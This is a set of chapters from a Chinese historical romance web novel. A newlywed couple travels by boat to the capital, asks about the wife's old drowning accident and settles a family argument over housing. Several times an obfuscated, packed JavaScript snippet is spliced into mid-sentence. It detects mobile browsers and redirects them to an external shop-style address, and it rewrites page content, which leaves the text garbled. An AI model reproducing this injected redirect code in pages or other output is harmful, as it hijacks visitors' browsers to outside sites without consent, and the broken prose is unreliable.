许清妙摸了摸已经凉了的被窝,这么早就起身练剑了? 她披上外套凑近窗前,微微推开窗橼,只见穿着单衣的许恪身姿如风,剑法凌厉,一招一式皆张弛有度,丝毫不像他自己说的只是为了强身健体。 她想,他肯定是能打得过匪人的,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053550|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不知道能不能像话本上的大侠一样飞檐走壁,要是能带着她飞起来就好了。 她正胡思乱想,鹊枝已经端着热水推门进屋。 “少夫人,过来洗漱吧。” 许清妙穿好外袍走过去漱口,软毛的小刷子做的精巧,旁边还放着许恪用过的。 鹊枝见她看着,低声道:“小姐,翰林今早起来眼下都是黑的。” 许清妙一眼就看出这丫头在想什么,“不是你想的那样,不许瞎猜。” 鹊枝委屈地嗯了一声,“那小姐待会出发的时候,你陪翰林在马车内休息吧,我去跟宁妈妈她们挤挤?” 许清妙想了下觉得可以,“行,那你去跟二郎说一声,让他今天多看着点。” 谁知刚说完,许恪就进了屋,听到了她说的话。 “不用,我没事,下午换了水路上了船再睡。” 许清妙示意鹊枝先出去,拿了帕子给他擦汗,白皙的手指刚碰到他的额角就被他拦下。 “我自己来吧,身上全是汗。” 现在出门在外也没法讲究太多,擦洗下汗就得出发。 许清妙皱了皱鼻子,摇头:“不要,我不嫌弃,我给你擦汗。” 她早就想给他擦汗,感觉很亲密。 许恪眼神微暗,低下头闭上了眼。 “擦吧。” 许清妙拿了帕子从他额间开始轻轻地擦过,他的天庭饱满,皮肤平整光滑,连细微的毛孔都清晰可见,鼻梁高挺,唇锋明显却不显刻薄。 唔,很喜欢。 难怪那么多人喜欢哥哥。 她摸摸索索地给他擦汗,许恪也耐心十足的由着她。 “好了,哥哥去换衣服吧,我先去外面等你。” 许清妙丢下帕子跑了,只因为她发现许恪的耳尖红透了。 哥哥什么也没说,却肯定是害羞了。 她太大胆了。 许恪睁开眼,望着水中倒映出来的脸,剑眉含情,星目带笑。 他从没见过这样的自己。 他想,不管是什么原因成亲他似乎都不那么在意了。 他这三年应该过得很快活。 夫妻俩再见面是在客栈外,鹊枝扶着许清妙上车,许恪在不远处看着她,等她进去了,才转身去了老太太和王氏马车前说话。 王氏正和老太太在车上用点心,香云伺候在旁。 许恪走近行了礼:“祖母,娘,马上启程,估计过了正午才能换船,你们路上多注意休息。” 老太太点头:“大郎别担心我们,一路上香云这丫头伺候得很舒心,这一手推拿的手艺是真不错,几时有空你也试试。” 许恪没有看香云,只自顾说道:“孙儿自有放松之法,谢祖母关心。” 等他走远,老太太对着王氏叹道:“他不会以为我还想塞香云给他吧,我只是真觉得香云手上功夫好。” 王氏笑了笑,她倒是乐见许恪收了香云,可惜由不得她硬塞。 “没有的事,大郎知好坏,我估摸着还是不开窍,等过几年就好了。” 香云在一旁却心底着急,再等几年她都成老姑娘了。 等到了京城她怎么也得想办法找个出路了。 15. 第 15 章 自弃车登船起,顺流直下,日行千里。 “明日午时应该能到京口渡,到了那里就到了京郊了。” 百姓管大雍朝的都城为雍都,因城南靠近运河,又将城南渡口叫京口渡。 许恪牵着许清妙站在甲板上眺望运河两岸,暮色森森,倦鸟低飞。两百年前修成的京远大运河如今依然波澜壮阔,往来船只络绎不绝。 “哥哥,三年前你带着我上京城也是走的这条水路吗?” 许恪略作沉思,点了点头:“想必是一样的路线,这是从虞城到京城最快的方式了。” 他们从云田出发马车走陆路走了三天到了云东道的虞城,虞城三面临水,从这里改水路是去京城最快的路线。 他们正说着话,另一头客舱门打开,许意带着俞娘走了出来。 许清妙远远看了过去,倒觉得这俩人外形上挺般配。 许意见了他们俩倒有些意外,毕竟客船上人不少,许清妙很少出来逛。 “三妹妹,坐船出行习惯吗?” 许清妙皱眉,疑惑道:“为何不习惯?” 许意关心道:“你三年前落水后,不就怕了坐船了吗?我以为你应该是不会同意坐船的,没想到大哥直接安排了水路。” 许恪也皱眉,看向许意。 “我以为大哥都是考虑过的。” 许清妙轻咳了一声:“没事,早就习惯坐船了。” 许恪凉凉地看了眼许意,握着她的手紧了紧,“走吧,回屋里风太大了。” “好。” 俩人牵着手回了船舱客房,留下一脸莫名其妙的许意,还有一直没什么存在感的俞娘。 许意奇怪道:“大哥怎么好像不记得这事了一样?” 俞娘依旧没说话,只是若有所思的看向他们离开的方向。 · 进了屋,鹊枝正在收拾床铺,许清妙让她先去外面守着,然后拉着许恪坐在了床榻上。 “哥哥可是发现了什么?” 许恪握着她的手,“我确实订了祭祖后返京的船,所以当初接你进京应该也是走的水路,如果那时候你真落水了,那肯定是路上发生了很严重的意外,我得找随安过来问问。” 随安是一直跟在他身边的小厮,他应该知道一些。 许清妙立马懂了,回道:“那我问问鹊枝。” 许恪点头:“嗯,注意下话术。” 俩人商量好,许恪便出了船舱往外面找随安去了。 鹊枝进屋后,许清妙端着热茶作无聊状说道:“三年前,这河水还没这么湍急吧?” 鹊枝不明所以,关心道:“少夫人是害怕乘船吗?上次回云田翰林说不走水路,您非说已经没事了,路上乘船一切正常奴婢还以为你真不怕了呢。” 许清妙连忙摇头:“不怕的,只是想起了些不好的事。” 鹊枝不解地看向她:“小姐你是想起了第一次跟着翰林回京走水路的事了吧。奴婢这辈子都记着,当时都把我吓死了。” “那你看到我怎么落水的吗?我现在回想起来已经记不清怎么掉下水的了。” 鹊枝放下手中的茶壶,认真看着许清妙,眼睛里有着明显的心疼。 “小姐好可怜,这么可怕的事情都记不清了,肯定是因为太害怕了。” 许清妙:“......” 你倒是说怎么落水的呀! 鹊枝抹了抹眼睛,继续:“那日的天气跟现在一样,风和日丽的,河里也和现在一样湍急,要说奇怪的话,就是船突然行驶的过快,风就有些急了。小姐本不打算去甲板上走动的,可是一个面生小厮来传话说翰林约你去甲板上有事要与你说。” “你没多想就带着我上了甲板,可是在那左等右等都没见到翰林,直到正好有人也过来甲板上透气,好巧不巧正好船突然侧了一下,那人没抓稳被撞倒了,结果她没什么事却把你给撞得翻进了水里。” 许清妙暗道:哪有这么巧的事? “后来那人怎么说的?” 鹊枝叹气道:“后来翰林审问那个姑娘,据说是一位官家小姐,并不是故意撞到你,就是纯属于意外。” “就这么算了?”许清妙觉得没这么简单。 鹊枝摇头:“后来到了京里那姑娘派人送了好多礼物来赔罪,三夫人觉得人赔礼道歉了就让你算了。” 许清妙总觉得有些奇怪,就真这么倒霉吗? 可鹊枝也说不出其他了,那一日她吓坏了一直伺候在她身边,也没晓得更多。 只好等哥哥那边的结果了。 船舱里很挤,又摇摇晃晃,但都是单独的小隔间已经算不错了。 晚上,早早吹了油灯,许清妙搂着许恪的手臂,俩人交流消息。 “所以,那姑娘就是长公主的女儿,那个想嫁给你那位?” 许清妙坐起了身来。 许恪拉着她重新躺好,手臂环着她:“嗯,她应该就是那次见过了我,后来才有了长公主派人来说亲。” 原来中状元时并没有真来说亲,而是回程路上见到了才有了后续。 许清妙觉得哥哥真太招人喜欢了,那位长公主的女儿见他一面就想嫁给他了。 “那哥哥是什么时候知道我的身世的呢?” 许恪摇头,“还不清楚,但应该是到了京城后没多久,随安说我拒了长公主派来说亲的人后,很快就跟家里人提了娶你的事。” “啊?那家里人不奇怪吗?” 许恪摇头:“我猜除了三叔最起码祖父和父亲是知道你的身世的。” 这倒是说得通,她爹那性子不是藏秘密的人,肯定和祖父大伯父通过气的。 再联想自己童年记忆,大伯母和祖母肯定不知道,她们对她完全就对孙女侄女的态度。 “哥哥,你觉得我爹当初为何要收养我呢?” 许恪摇了摇头笑道:“三叔这人心软,他收养你不奇怪,而且你小时候非常可爱。” “啊?” 好好的怎么夸她小时候可爱呀! 她会害羞的。 “小小的一个雪团子,好看的像个小仙童。” 许恪的声音带笑。 “哥哥,你听谁说的?” 许清妙才不信他还记得她小时候模样。 许恪低头看向她:“听我娘说过。” 那一年许清妙刚被送回老家,她名义上的娘因为生四弟难产过世了,她刚刚三岁多点,穿着雪白的绣袄,被奶妈子抱着进的许家。 那时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一番犹豫,不知是船晃得太有节奏还是船外的水声太过催眠,许恪不知不觉睡着了。 再睁眼,他双手搂着许清妙的腰背将她整个抱在了怀里,这还不够,她的脚还搭在了他的腹部,两人睡得毫无间隙。 许恪看清楚后,浑身都僵硬了,他没想这样的。 他试着将她的脚拿下去,却刚一移动便被她抱的更紧,整个人都压在了他身上。 许恪不知道的是,许清妙只是觉得他胸口很舒服,凭着本能整个人趴了上去。 许恪再不敢动,他怕许清妙醒过来,这个时候醒过来她肯定要害羞的,接下来几天看到他都会躲着。 就上回鹊枝开句玩笑,她知道他听到了,就躲了他两天。 明明有时候很大胆,可真到了这种亲密时刻,她又会害羞。 他觉得这样也很好,她可以慢慢来,他都等得了。 他们中间缺了三年的感情和经历,他想带着她一点点全都找回来。 许清妙的呼吸慢慢变得不均匀,许恪知道她醒了。 他体贴的闭上了眼,呼吸放缓。 很快,怀里的人慢慢躲进了被子里,背对着他不声不响。 他瞥眼看去,只看到她耳后红彤彤一片。 许清妙知道他醒了,在他第一下搬动她脚时候醒的,她迷迷糊糊一个翻身压在了他身上,就那一下她就突然清醒了。 但她不敢睁眼。 她就这么抱着他睡了一晚上,好羞呀。 倒不如继续装睡,谁先醒来谁尴尬。 16. 第 16 章 翌日午时,水波不兴,客船停帆靠岸。 京口渡河岸两侧绿柳成荫,道旁凤仙花成簇开放,通往城内的干道上往来车马如梭。 许清妙随着众人下了船,只来得及浅浅环顾,便瞧见接应他们的许家奴仆已经赶来了马车,迎接他们回府。 三架马车后面带着好几车的行李,浩浩荡荡地驶往崇岚坊许家府邸。 许清妙倚坐在车窗旁,撩起一点点帘子往外看,铺着青石板的整洁街道两侧是各式各样的阁楼,高矮不一,参差有序,街边檐下各式小贩小摊,人来人往,热闹非凡。 “少夫人,京城可真热闹,你看还有人在卖洗面水的,三文钱一盆洗面水,这可真贵呀。” 一路上没怎么说话的小丫头瞥见那醒目的摊位,惊讶不已。 许清妙捂嘴浅笑,回想看过的游记里有记载,“那是供给早上赶路来不及洗脸上朝的官员用的,京城的柴火木炭价高,三文钱一盆热水不算贵。” 鹊枝拍了那小丫头一下,笑骂道:“别一惊一乍,京城里的这些营生常见的很,以后多看多见识。” 许清妙心虚地看了眼鹊枝,她也挺好奇的,幸好刚刚没有表现得太明显。 这可是心理年龄十五岁的她第一次进京,自从三岁被送回云田老家,她就没有出过远门。 她时不时挑窗看外面,一句好奇的话没多说,渐渐马车行至房舍密集的坊间,路过远近大小不一的宅子。 无不是门庭整洁,雅致气派。 马车渐渐停下,许清妙跟着下了车,抬眼看见门前匾额上许府两个规规矩矩的大字。 京城人口远比云田多得多,住宅区却相差无几,故而普通官员大臣的住宅都不算很大,许家的宅子只有云田老宅的一半大小,刚好够装下他们一大家子。 大门内传来洪亮的呼唤声:“娘,大嫂,一路上辛苦了。” 只见许驰喜笑颜开地跑过来,跟在许驰身后的一位美妇人也笑着上前问好,许清妙看过去认出来是曾经的继母李氏。 年幼时,许清妙期待过李氏将她接去京城教养,可惜她很快就发现李氏不喜欢她,表面上对她客客气气,私下里却并不亲热。 “不辛苦,一路上都很顺利,家里可一切安好?” 许老太太是个规矩多,但很听劝的老太太,老爷子发话不让三个儿媳都跟着回老家,便只带了主动要跟回去伺候的老大媳妇王氏,自然老太太对王氏更亲厚。 “家里一切都好。”李氏得体回话,紧接着看向王氏笑道:“如今娘和大嫂回京了,这宅子里总算不冷清了。” 王氏接过话,不冷不热道:“等老二一家到了,那才是真热闹了,算算日子他们下个月也会到了。” “应该是,先进屋休息吧。”许驰扶过老太太,眼睛往后瞧,瞧见清妙后咧嘴笑着看了她一眼。 许清妙也咧嘴笑,她爹对她还是老样子,喜欢得毫无掩饰。 如今知道自己并非老爹亲生的,许清妙心里更加感动,她常年养在云田,许驰却从没与她生分,总是隔三岔五托人给她带东西。 京城里时兴的好玩的好看的,她都收到过。 她虽然向往外面的世界,但从没怨怼过父亲不接她去京城,生活在继母手底下,恐怕还没在云田自在。 进了宅子,许驰夫妻领着老太太去了老爷子住的院里安置,王氏和许意也各自进了院子,剩下许清妙跟在许恪身旁。 “哥哥,我们也住下吗?” 许恪摇头头:“晚上祖父回来了,我们就回自己宅子,行礼我已经让随安和鹊枝带人先回去收拾了。。” 许清妙回头看了眼,不知几时鹊枝确实不在身后了。 她其实不介意住一起。 许恪似乎看出来她的想法,握着她手提醒:“分开住应该很难才争取下来,我们最好不要轻易放弃了。” 他其实更想跟她单独住,也已经知道自己单独买的院子其实就在许家后院隔壁,即便是就这么隔开下,也是算他们夫妻分开过的,所有花费都不走中馈,自然也少了很多纷扰。 许清妙没有异议,反正一切听哥哥的,她乐的偷懒。 她眼睛灵动,问道:“那我们现在去哪?” 许恪捏了捏她手心,笑道:“有精力的话带你府里转转?” “好,认认路,不然路都不认识就露馅了。”她低着头小声回话,像一个做了坏事的孩子。 许恪无奈摇头,“不用太紧张,不认识路就让丫头带路。” 俩人走走停停,将整个许宅逛了一遍,比起云田老宅,这里更加精致讲究,字画瓷器随处可见,婢女不多但都被教导的规矩。 * 晚饭后,许恪随着祖父还有大伯父进了书房,许驰也喊了许清妙去书房说话。 父女俩心里各有感慨。 许驰感慨当年拼命保住的孩子终究长大了,她不知道自己的身世也算过得无忧无虑,如今嫁进了许家以后再有波折也有了依靠。 许清妙眼中的许驰温和儒雅,脸上一直带着笑,不熟的人会以为他没脾气好说话,实际上她这位养父对外人是很讲原则的。 “爹,你近来可好?” 许清妙真的很久没见到他了,自己只能靠书信与父亲保持联系,可一封信总是得等上一个多月,很多情绪早就淡了。 不过她还是爱写。 许驰笑眯眯地点头:“都好都好,三个月没见妙妙又长高了。” 许清妙知道父亲每次见她都会夸她长高了,这次也不例外。 父女俩说了会话,便听见丫头的敲门声:“三爷,大爷喊您过去老爷书房。” 许驰一愣,难道是在谈家事? 政事上他们可不爱听自己意见。 “知道了。” 许驰转头看向许清妙:“妙妙跟我一块去?” 许清妙自然同意。 父女俩有说有笑地又进了老爷子的院子。 “爹,我在厅屋里等你们。” 许驰没意见,本来带她过来就是避免她一人待在那边。她跟李氏惯来不自在。 老爷子的书房燃着淡淡的熏香,整齐的书架钉在四面墙上,一张桌子几把椅子再无其他。 “坐吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053552|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老爷子发话,许驰看了眼大哥和侄子点点头坐下。 “老三,你当了清妙十五年的爹,你来劝劝大郎,他们还想搬出去住。” 老爷子极好的修养让他始终保持风度,既没有训斥长孙也没有自己生闷气。 许驰了然,一下子就猜到了什么事。 看了眼他们三人如出一辙的严肃脸,他没忍住笑出了声。 引来许老大严厉而警告的一眼。 “咳咳,大哥别这么严肃,分开住这事其实不算事,就与后院一墙之隔,实在要住一起那就把后院和大郎院子打通就是,反正两边都是后院连着。” “再说,大郎你三年前可应了,就给你们三年时间独处,三年后你可得践诺,我也不希望妙妙一直住外面。” 许恪抬眼看着自己三叔,某种意义上算是他的岳父。 “三叔,我真答应了?” “难道你想反悔?你要不问问妙妙,她肯定也想回家了,以后中馈大嫂管着,再没人敢欺负妙妙。” 许恪听了这话皱起眉头,这意思是曾经李氏这个三婶欺负过清妙了? 他还以为当初自己坚持分开住是为了避免清妙见了祖父和父亲尴尬。 现在看来并不是。 “我自然不会言而无信,等我跟清妙商量好再决定。” 许恪话落,许坚端着的茶碗噔一下推在了桌上。 冷硬道:“凡事预则立不预则废,这点小事你都没有提前有准备吗?真是越发不像话。” 许恪看着父亲,片刻失语。 许驰看了眼不发话的老爹,只能自己心疼女婿,陪笑道:“大哥,你这话就苛刻了,这住哪里我们清妙也有自己想法的呀,你不能只问大郎的意思吧?” 许老大脸拉的更长了,但终究没有说出什么不好听的话。 对儿媳妇他本要摆公公的谱,训一训的,可对着自己亲侄女又实在摆不起来。 罢了,搞得他一个人当恶人似的。 “哼,回去好好跟三娘说,兹事体大,不可任性。” 说完,许老大向老爷子告辞走了。 “行了,就依你的意思吧,回去问问清妙,你告诉她祖父想她了,回来住没人敢给她脸色看。” 有了这话,许恪知道他们是非回来不可了。 “祖父,这事我以清妙的意思为主。” 许驰在一旁不住点头:“是的,清妙开心最重要。” 许老爷子叹气,挥了挥手:“出去吧,一点小事也别伤了父子和气。” 许恪离开了书房,刚走到廊下,一眼就看见站在灯笼底下无所事事的许清妙。 她也看到了他,原来有些失落的表情立马不见了,轻快地朝他走来。 “哥哥。” 她眼睛亮晶晶的,也不问他谈的怎么样,只眼睛都不眨的看着他? “累了吧,先回家再说。” 许清妙自然的抓着他的手,跟着他的步伐走远。 独留下许三爷走在后头,无奈摇头:“我在后头乖女儿都看不见。” 早知道当初不同意他们这么早成亲了。 17. 第 17 章 目送小夫妻俩出了院子,许三爷迈着轻快的步子也走了出来。 他院子里的小厮提着灯笼跟了上来照路。 “老爷,您今晚回哪屋歇息呢?” 许驰脚下一顿,哼道:“夫人使你来的?” 小厮连忙摇头,紧张道:“奴才不敢,只是夫人确实来问过。” 许驰想起刚刚在书房里老爷子说的话,就不由暗暗恼恨,自己打心里疼惜的女儿却受了自己夫人的磨搓,他也是有责任的。 三年前,他本以为胡家是女儿的良配,一心撮合女儿婚事。 谁知道女儿死活不同意嫁给一个有过通房又比她大了好几岁的公子哥,等到接回到京城时,连大郎也帮着她来拒婚。 当时,没人猜到大郎有了娶她的意思,家里人还都在劝她好好接受婚事。 也不知道李氏存了什么心思,自作主张将女儿关在家里让老婆子教了半个月规矩。 那时他正好去了外地忙公务,大郎进了翰林院研修,就这么半月的功夫,李氏硬生生将好好的人折腾的高烧不退。 直到大郎一直收不到女儿的回信,急匆匆赶回家才发现她高烧两日了。 而那个心狠的李氏居然以为女儿只是装病。 要不是大郎当机立断的请了假回家,恐怕还不会有人知晓。 等他回到家里,就见到女儿憔悴地躺在床上,大郎被罚跪在了祠堂里。 大概他的歉意太过明显,乖巧的女儿还反过来安慰他,“父亲不用担心,女儿已经退烧了。” 就这样贴心懂事的小姑娘,李氏那个冷心的妇人,居然下得去手让那些黑心肝的老婆子管教。 他自己都舍不得说一句重话,再想到当年从那绝美女子怀里接过尚在襁褓里的清妙时,他更觉得愧对当年承诺。 想起这些,许驰就不想看到李氏那张寡淡的脸,写满了无情与冷漠。 既然不情愿给他做填房,当初又何必点头答应,他续弦可是亲自问过李氏的意愿。 “你回去告诉夫人,今晚我住书房。” 书房哪有后院住的舒服,但省心啊,他要是这会去了妾室屋里,那就又害了妾室那老实的女子了。 小厮领了命,将灯笼给了许驰,转身小跑着去回话了。 西侧院的正屋灯火未灭,李氏正端坐案前,门口小厮回了话说老爷歇在了书房。 她挥了挥手,让人都退下。 良久,冷笑一声:“不过是还在怨我罢了。” 她是李家嫡次女,嫁给许驰做填房本就是委屈了她,可谁让许家门第比李家高呢,李家想攀上这门亲事哪会顾及她的意愿。 当年许驰私下假惺惺地问过她愿不愿意,她敢说不同意吗? 她一旦拒绝,李家马上就会将她嫁给另一个年过半百的官员做填房,总之谁让她出生就没了亲娘为她打算,更是生在了唯利是图的李家呢。 三年前,李氏见许驰夜不能寐,便问了几句,从他口中得知,许清妙这个同样亲娘早亡的继女竟然有胆子拒绝家里安排的亲事,而且那胡家是大理寺少卿之嫡子,无妻无妾,比许家家世毫不逊色,就这样的亲事她还嫌弃上了。 李氏心底像翻了海一般,有些人生来就是命好,她百般求不到的好姻缘,别人却不屑一顾。 李氏实在看不下去,趁着许驰派了外差将许清妙叫到屋里,红脸白脸的唱了一出,可惜这姑娘不管她说什么就是咬死不同意婚事。 她不信许清妙能有这个能力真抗拒得了父母之命,她身为继母自然有权利好好管教不听话的儿女,可不想这硬气的姑娘脾气够硬,身体却娇弱的很,没几日便起不来床发起了高烧。 李氏请了大夫来瞧了,不过是染了风寒,她便没当回事。 却不知怎么就惊动了大房长孙,当许恪冒着大雨形如阎罗般冲进她院子里时,她吓得差点晕过去。 再后来,事情便脱了李氏的掌控,许家长孙当着全家的面求娶自己的堂妹,李氏觉他怕是吃错药疯了。 可事情明朗后,她才知道原来那个受丈夫宠爱的继女并不是丈夫的血脉,而许家老爷子也被许大郎说服同意了俩人的婚事。 教导许清妙这事,李氏觉得她师出有名,以继母之名管教儿女谁也说不出个错来。 在她以为一切轻飘飘揭过了时,许恪却意有所指的提出要带着许清妙搬出去住。 许驰就是这个时候反应过来对着她泄愤的。 那一晚,她眼里每日笑呵呵的丈夫用最厌恶的眼神看着她并警告道:“再有下次,必将你休回李家。” · 暮色沉沉,星月隐隐。 许清妙欢快地跟着许恪进了一间二进的宅子,大门关上,这间不大却足够温馨的宅子便完全属于他们俩了。 一进院里布置得干净利落,绿植点缀着庭院,开阔宽敞的院子适合许恪清晨锻炼。 俩人都是第一次来到这座小院,许清妙难掩好奇,四处打量。 许恪第一眼见这院子也是喜欢,精细布置,处处舒适不张扬,一小片潇湘竹栽种在墙角,郁郁葱葱,水缸养着几尾鲜活锦鲤,处处生动自然。 “要不也走一圈看看?” 许恪的提议立马得到了许清妙的认可,俩人看似随意实则新奇地绕着院子里里外外逛了一圈。 不经意走过的奴仆,都见怪不怪了,只要男主子得了空,每日晚膳后都是要带着女主子在院子里逛一逛的。 许清妙看过了第一进院子,兴致勃勃地拉着许恪往第二进院子走去。 后院比起前院更显充实,小凉亭,花架秋千,甚至还有一张躺椅放在廊下。 能想象得到夕阳西下,躺在那椅子上摇摇晃晃乘凉的妙趣。 后院卧房和书房占了一半的空间,许恪看了眼书房,正想先进书房,却被她拉着进了卧房。 两个隔断的卧房分成了外间、里间和内室,外间摆放着桌椅软榻,里间放着小憩的长榻还有书案各式摆设,内室一张奢华的拔步床占了大半,挂着衣裳的架子上全是五颜六色的衣裳,梳妆台上胭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068111|149089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脂水粉首饰趣玩琳琅满目,这间内室可谓满满当当,却不显凌乱。 许恪瞧见她满眼惊喜,看来全是按她喜好来布置的。 许清妙放开他手先一步进了内室,架子前鹊枝正在给她收拾衣物,见她进来笑嘻嘻地问好。 “小姐,你看上回你说找不到的那件衫子奴婢给您找到了。” 只见一件薄如蝉翼的红绸内衬小衫被鹊枝敞开来,抖了抖,带起衣带轻飘飘的晃荡在眼前。 许清妙人都要麻了,她怎么会有这样透的衣裳,捂着脸一个健步从她手里抢下。 二话不说团成一团背在身后,面红耳赤地怒道:“鹊枝,不得胡说。” 那不是她的! 这种小衫实在太露了,穿了跟没穿有区别吗? 她回头看了眼跟着一块进来的许恪,只见他像是没看见一般脸色正常,只有唇角的浅笑出卖了他。 许清妙觉得这三年的自己真的太奔放了,先有一匣子的奇奇怪怪小玩具,又有这种暴露的衣裳,成亲后就是可以这样的吗? 鹊枝却不以为然,只嘟囔道:“小姐,奴婢不说就是了,您仔细点别给扯破了,那可是翰林拿回来的天蚕丝做的衫子,就这么一件,夏日里穿着特凉快,您去年最喜欢穿它了。” 许清妙哼哼道:“赶紧收起来。” 又偷偷看了眼一本正经的哥哥,没想到这料子还是哥哥带回来的,看来他挺喜欢呀。 说完将那衫子塞给了鹊枝,转身拉着许恪往外走。 俩人避开丫鬟婆子走到廊下,天上的月牙勾起微笑,地上的幽兰吐露淡雅清香。 昏暗不明的廊下,墨色长袍勾勒出颈腰瘦臀看的人眼热,许清妙松开他的双手默默搂上他的腰,脑海里莫名想起一句“袅袅楚宫腰”,再细看手上这腰突然有种通感。 她喜欢哥哥这把好腰。 许恪莫名站立不敢动弹,他没想到牵牵手还羞涩的小娘子突然摸上了他的腰,玄带束腰绷得紧紧,她的手其实隔着层层布料皮子触感不清,但就是这份模糊的感知便让他感到腰腹发紧。 他不由伸手想将她手拉下。 却被她无赖地躲开,甚至两手搂紧锁在了他腰后,小脸蹭着他的胸口。 “哥哥,不许在心里笑话我。” 许恪一时不懂,转念便了然。 她在说那天蚕丝小衫,其实他并没有笑她,反而是在笑自己,看来三年后的自己过得很幸福。她年纪小不懂,夫妻敦伦自然会有闺房之乐,你情我愿没什么好害羞的。 “没有要笑话你,要笑话也是笑话我自己。” 许清妙不解,诧异地从他怀里抬头看向他。 “哥哥这话从何说起?”虽说布料是他给的,但那小衫却肯定是自己同意做的。 许恪清了清嗓子低头凑近她耳旁轻声道:“应是我所好。” 许清妙只瞬息便了悟,原来他认为那小衫应该是按着他的喜好做的。 她羞红了脸,犹豫要不要告诉哥哥,其实她也挺喜欢的。 18. 第 18 章 夜深人静,树影憧憧倒映在窗前。 微微敞开一角的轩窗内,许清妙正一脸自在地枕着许恪手臂静静听他说话。 “祖父想让我们搬回去住,你怎么想呢?” 许清妙略沉思,反问道:“哥哥怎么想呢?” 许恪:“我更认同三叔的提议,将后院打通,两个宅子连在一起,我们就住这边,往来也方便。” 许清妙回想了两座宅子的结构,后院相接正好联通了两条过道,打通挺合适。 “那就按我爹说的办?我觉得很好。” 许恪笑道:“得先回了祖父,听听祖父怎么说。” 许清妙没意见,现在有祖父在,叔伯没有分家才会住在一起,往后真分家了自然有其他安排。 刚搬回京城,许清妙对京城的生活样样好奇,今日出门赏花,明日出门喝茶,总是能尽兴而归。 “那哥哥今晚在书房可有什么发现?” 她沐浴完在内室待了好长一会,许恪才从书房回来,进屋时的表情似乎有些凝重。 许恪借着微弱的月色看向枕边人,一双圆润的眼黑白分明看着他。 “还没仔细看平时的书信,今晚只匆匆看了些政事上来往的信函,明日我得先回翰林院销假,得有些准备。” 他没有这三年的记忆,可能连同僚和上司都认不得,只能先从往来公文摸索一二,等明日见了上司还得见机行事。 许清妙侧枕着,蹭了蹭他的手臂安抚道:“哥哥,别担心,你肯定应付得来。” · 昼夜更替,匆匆忙忙几日转瞬即逝。 许清妙在院子里见了丫头婆子小厮杂役,又给这些人发了赏钱,院子里热热闹闹。 只是,许恪自从回了京就忙得不见人影,每日里夜深了才踏着夜色归来。 许清妙也不太懂他在外面办的事情,只听管事的说他如今是翰林苑学士兼太子侍读,这几日大部分时间在太子府为太子读史讲学。 大雍朝的太子年仅八岁,暂未入住东宫,依旧住在了皇宫。 皇帝给太子选了三位德高望重的老师,又将年轻一代官员里最出色的许恪指给了太子做侍读,可谓是用心良苦。 皇帝如此别有用心安排,明眼人都看得出许恪必是下一代帝王的肱骨之臣,城里想跟许家攀上关系的人家渐渐也多了起来。 许清妙身在后院,竟也接到了一封封邀请她参加各种集会的帖子。 夏木阴阴,清风徐徐。 许清妙正躺在院子里的摇椅上纳凉,鹊枝将一沓帖子递了过来。 “小姐,您看看,有想去的吗?” 许清妙接过翻看各府递过来的帖子,都是些她不认识的人家,翻来翻去也看不出个所以然。 她定睛看了眼鹊枝,埋在心底的疑问还是决定问出来,不然回了京还一直眼前抹黑也不是个事。 院里院外洒扫的婆子丫头都已经回了屋,她便拉着鹊枝坐下,低声道:“鹊枝,你老实告诉我,你为何一直私下里叫我小姐,当着外人才叫少夫人?” 鹊枝有些不解地坐下,拿着一旁的摇扇给她赶蚊子,“小姐,你可真健忘,你说不喜欢别人喊你少夫人,就让我私下依旧叫你小姐。” 许清妙听了这解释,更糊涂了,她既然嫁给了长兄,理所当然是许家大少夫人了,怎得自己还不喜欢了? 思来想去,难道自己不喜欢嫁给长兄? 不合理呀!不管以前还是现在她对于许恪都挺满意的。 实在不解,她蹙着眉头没吭声。 鹊枝像是看出来她的纠结,安慰道:“小姐也别伤神,你要是改主意了,那奴婢以后不私下叫你小姐就是了。” 许清妙摇摇头,“那倒没关系,你还按原来的来吧。” “鹊枝,当初我记得我有本小册子专门用来写些闲话小记,可还在?” 年幼时,因父亲说想念他了就拿笔写下来,许清妙便养成了有什么心事就爱记几笔的习惯。 可在云田家里,她并没有见过那本小册子。 鹊枝点点头,轻快道:“还在呀,不过小姐这两年很少写了,你现在有什么心事都爱跟翰林说。” 好吧,她这两年连心事都有人说了。 “你去帮我找出来,我想看看。” 她记得从祠堂看过许恪祭祖后,她就在册子上写下了长长的一页,她打心里羡慕他对自己的婚事有更多的自主,大伯娘乃至祖父都会尊重他的意愿。 